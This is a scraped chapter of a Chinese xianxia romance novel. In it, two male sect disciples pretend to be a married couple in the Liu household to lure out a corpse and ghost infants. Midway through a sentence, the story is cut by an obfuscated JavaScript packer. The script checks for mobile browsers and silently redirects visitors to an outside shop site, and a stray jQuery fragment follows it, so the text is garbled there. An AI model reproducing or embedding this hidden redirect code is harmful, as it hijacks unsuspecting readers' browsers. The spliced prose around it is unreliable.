默认冷灰
24号文字
方正启体

15.求嗣心切

作者:是墨痕子本书字数:K更新时间:
    墨铮玉说罢,圈着云宝宴的肩朝相反方向走远了。


    徒留一堆木然伫立的人站在客堂门口。


    柳夫人活大半辈子,也算见多识广,面如土色地抬手指去,颤巍巍道:“他、他们不都是……?”


    扮作女子是为了糊弄鬼。


    在场无一人不知道云宝宴实为男子。


    朱玑心道肯定是墨师兄另有计划,坚定地冲柳夫人点点头:“是。”


    柳夫人憔悴但略施粉黛的眼睛越睁越大。


    “所以他们其实是——”


    师姐握住她抖如筛糠的手,叹息:“是。”


    几人在这“是来是去”好半晌,温若宁才搀扶着满脸天塌地陷的婆婆回房休息。


    房间内,喝了安神药的柳大宝还在沉睡。


    温若宁不愧自小念书,惊诧之后,柔声劝道:“修行之人早就看破红尘,您看那位黑衣仙长,剑都没出鞘,就能推动重若千钧的棺材,也许对他们这些奇人异事来说,男女都无甚区别了。”


    “怎么就没区别!?”


    柳夫人忽地疾言厉色,一时顾不上入夜后会有邪祟作乱,连拍桌子。


    仿佛她脑袋里的观念比命更重要。


    “真是岂有此理,好好的男人搞什么龙阳?当个断袖就那么痛快?幸好当初没送我的心肝宝儿去修仙,不然我们柳家的香火岂不断送!”


    说着剜了眼她隆起的孕肚,眼底恨意一闪而过。


    “罢了,你公公现在没了,等把那贱人挫骨扬灰,你的事之后再算。”


    温若宁眼眶倏然泛红,本就气色不好的秀气面孔更加苍白。


    她想解释什么,让婆婆一个眼神斥退,只得乖乖去端水来侍奉柳夫人洗漱更衣。


    ……


    睡——


    睡谁?!


    睡这个他从小就有些怕、又有些忌惮的男人吗?


    你们修无情道的什么也不懂,讲起话来就是没轻没重!


    两个男人怎么睡?


    云宝宴面上充血,只觉轻佻话语让铮玉师兄冷着脸说出来,心底酥麻发痒,滋味甚是奇怪。


    一时吭不出声,呆呆让人搂了一路。


    直到墨铮玉关了门,安静的屋中只剩这对假夫妻,男人自知方才口不择言,僵硬矗立片刻,转回身来。


    刚好撞见云宝宴仰面盯他的样子。


    巴掌脸上,一双桃花眼睁圆,纤长睫羽根根分明。


    “师兄师兄。”


    挨得太近,墨铮玉呼吸急促,起伏的胸膛都能贴到这小孔雀的脸了,他避开目光:“做什么?”


    云宝宴诚恳地说:“你今天演得好像。”


    墨铮玉顿了下,眼角眉梢浮现轻蔑自嘲之色。


    他演得才不像。


    毕竟云大公子睡了他这小乞丐一次,就连婚也退了,不是嫌他不中用么?


    “说那种,呃……”云宝宴挠挠脸,“让大家不好意思的话,也是出任务的必修课吗?我爹娘为何没教过我?”


    墨铮玉:“……”


    “他二位给我开小灶了。”


    “真的假的?”这人沉不住气,追过去时飘动的裙摆犹如孔雀尾羽,气势汹汹去拦他,“早听说跑江湖得会说黑话,我也要学!”


    墨铮玉从乾坤囊取出黄纸与朱砂,摆在桌上。


    “学点好的,帮我画符。”


    事关任务,云宝宴自不懈怠。


    只是两人行事风格迥异,墨铮玉一笔一划规整到压抑,云大公子的桃木狼毫笔龙飞凤舞,顷刻间十几张平安符画好。


    “吾奉三清敕,勒令到此,万邪避退!”


    念罢,雪白的手一扬,符咒顺窗而出,无风自舞,四散贴在柳宅上下。


    墨铮玉瞥见院中尚在巡逻的弟子,蹙眉:“来这么些人,委托费少了可不干。”


    闻言,云宝宴略显惊诧。


    旋即哼哼笑道:“还以为作为门派表率的墨二师兄,会说什么为民除害,分文不取,以证天道的台词!”


    好歹是这世界的主角。


    说话如此生硬直接,将来从哪划拉那么多红颜知己?


    师兄清楚“道可道”的存在吗?


    墨铮玉俊脸微不可察地窘了下。


    “过誉了。”随手拿起桌上的小柑橘,轻轻抛去,意有所指,“姑苏云郎,姑娘们的蓝颜知己。”


    这回换云宝宴恼得撇开脸,自顾自剥橘子。


    墨铮玉抱剑瞧他。


    小纨绔白嫩的脸颊敷了点粉,显得朦朦胧胧,吃东西时腮帮一鼓一鼓,水色唇瓣微抿,斯文乖巧,说不出的可爱。


    莫名联想到那夜咬他小脸的口感。


    男人眸色晦暗,齿关发痒。


    他故意逗道:“小师弟,怎么不给师兄吃?这么不敬爱兄长?”


    云宝宴冷不防对上他如饥似渴的目光,心下一惊,可橘子刚好吃完,果篮中也没了。


    他平日四处开屏,实则经事少,一时真被问住。


    见墨铮玉眯着眼好整以暇,云宝宴心知被耍,怒上心头。


    喊道:“我是你娘子,你还不让让我?”


    这时,二人腰间的鹤云门玉令同时亮起微光——


    [墨师兄,宴师弟,在否在否?]


    是朱玑的声音。


    门派玉令灌输灵力后可作传讯之物,云宝宴立刻应声,朱玑又道:[不知怎的,那厉鬼暂时没有行动,你们在做什么?]


    一直在拌嘴的俩人哽住。


    墨铮玉语气不善:“还能做什么?站着讲话。”


    [站着?]策划这一切的朱玑十分不满,[两位大哥,你们现在可是夫妻,墨相公还急着让宴娘子怀孕呢!这可是你们方才自己说的,现在就站着?]


    没等云宝宴反应,墨铮玉怒道:“怎么着,我还真能让他怀不成?”


    朱玑不敢言语。


    片刻,叹道:[劳烦二位听我指挥,像寻常夫妻那般,躺到一张床上去,熄灯睡觉,掩人耳目。]


    玉令那头窸窸窣窣,很快传来打水盥洗的轻响。


    宴师弟很是配合地叫了几声“夫君”,催他睡觉,墨师兄憋了半晌,低低嗯了声,之后便静下来。


    看来二人是依言躺到一起了。


    ……就是墨师兄那语气极不情愿。


    唉,大家清楚,他们是掌教座下实力不分伯仲的得意门徒,私下定有竞争关系。


    个个心高气傲,不受管教。


    朱玑摸着下巴沉吟。


    若是换他跟死对头睡一张床,也难办呀!


    ……


    相隔甚远的灵堂落针可闻,冥烛淌泪,素幡随风轻晃。


    柳万贯若起尸构不成什么威胁,随便哪个弟子都能把他押回去,因此并未专门分出人手来看顾。


    呼的一声风响,烛火尽灭。


    满堂瞬间陷入死一般的沉寂与黑暗。


    紧跟着,刺耳的挠棺声响起,最开始是一下两下,渐渐急促尖锐,仿佛有什么心愿未了,砰砰狂响的棺材板轰然掀开。


    僵直的柳老爷跳了出来。


    他眼珠灰白,行动迟缓,却以为自己还没死,顶着血肉绽开的身躯在灵堂里转了两圈,向外挪去。


    只是在经过宗祠水牢时顿了顿,避之若鹜。


    此时,酸枝木床头仅燃着一点烛火。


    云宝宴躺在里侧,枕着胳膊,明眸一瞬不瞬盯着身旁睡姿规矩的青年。


    视线从他挺拔眉峰看到鼻梁,又下滑到线条利落的薄唇。


    难怪是话本主角,模样的确


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517411|202818||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    英俊到过分。


    “看够了么?”墨铮玉突兀开口。


    “嘘——”


    “小点声,别让鬼听见了。”


    柔滑细腻的掌心忽然盖住他的唇,男人微僵,呼吸间都是云宝宴手上的香气,这小孔雀莫不是泡在熏香里长大的?


    他悄声说:“师兄,我还从没跟你睡过呢。”


    “……”墨铮玉睁开眼,默然望着天花板,“两次。”


    云宝宴:“什么两次?”


    “第一次,我刚被师父捡回鹤云门的新年,守完岁我也不舍得闭眼,但最后撑不住还是睡了过去,师父把我抱到你身边,我们一起睡的。”


    云宝宴好奇地撑起上半身:“我为何毫无印象?”


    这是童年为数不多的甜蜜,墨铮玉犹豫了下,还是没告诉他——


    他次日醒来,发现睡在粉雕玉琢的小少主身边,又惊又喜好一阵。


    心知云宝宴厌恶脏兮兮的乞丐,便报复地亲了亲他,而后悄悄逃走了。


    他至今仍记得云宝宴穿了一身火红的圆领小锦袍。


    滚边都是毛绒绒的,衬托得那张小脸粉润可爱,额间还点了一抹朱砂,像个刚出锅的、点了驱邪朱砂的雪白馒头,看起来就香软得过分。


    墨铮玉流浪时最渴望的不是山珍海味,而是一个馒头,这几乎成了他的执念。


    所以,他想咬云宝宴。


    现在也想。


    青年不咸不淡道:“你能记住什么?”


    给等了半天的云宝宴气得直哼哼。


    “那第二次呢?”


    墨铮玉岿然不动的冷脸似乎扭曲了下,不可置信看向他,小师弟催促好几声,他才试探问:“你是没当回事,还是压根不记得?”


    云宝宴神色茫然,让青年心底的不安愈发浓重。


    倏地,穿着单薄里衣的人狠狠激灵了下,眼底恐惧涌上来的瞬间,墨铮玉反应迅速,立刻摁着他的头搂进怀里。


    “不怕。”


    锋锐如刀的阴鸷目光飙向门口。


    捅破的窗户纸后,一只冒着绿光的灰白眼睛正死死盯着他们,眼球暴突,对墨铮玉怀里发颤的美人极感兴趣的样子。


    下一秒,柳万贯向后踉跄几步。


    一根银针不知何时洞穿了他的眼,从后脑穿出尖刺,周遭骨头尽数迸裂,脑浆四溅。


    讨了个没趣,死尸扶着脑袋,歪歪扭扭离开了。


    云宝宴意识到是起尸,但没料到不找柳夫人,而是来找他们!


    他没设防,让那老家伙吓了一跳!


    一时羞恼,从墨铮玉滚烫的胸口抬起头,神色可怜,唇瓣嗫嚅想要辩解。


    鹤云玉令幽然亮起——


    [有动静,当心。]


    二人心道柳万贯不是刚走么?


    头顶传来瓦砾挪动的摩擦声,门口与窗户处也有。


    下一秒,一缕缕阴冷之气包裹了房间。


    几团干瘪粘腻的影子晃来晃去,形态大小与婴儿相仿。


    云宝宴不敢妄动,顺势装作妻子撒娇蹭进师兄怀里,轻声问:“什么情况?”


    朱玑:[三只鬼婴来了,我哥的脸就是被它们给挠花了。]


    果然,几只眼睛正从缝隙里凝视着他们,乌黑的眸子没有一丝白,天真而鬼气森森。


    [据我这几日观察,百子镇崇尚繁衍,鬼婴对婴孩、怀有身孕或是虔诚求嗣的人没有恶意。]


    墨铮玉喉结滚动,呼吸已急促了。


    “你开什么玩笑?”云宝宴想骂人,险些跳起来,“我现在管铮玉师兄叫爹爹,说我是二百多个月的宝宝,有人信吗!”


    朱玑干咳几声,欲言又止。


    [求、求嗣嘛,夫妻就那些流程,二位假装一下,做做样子……]
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)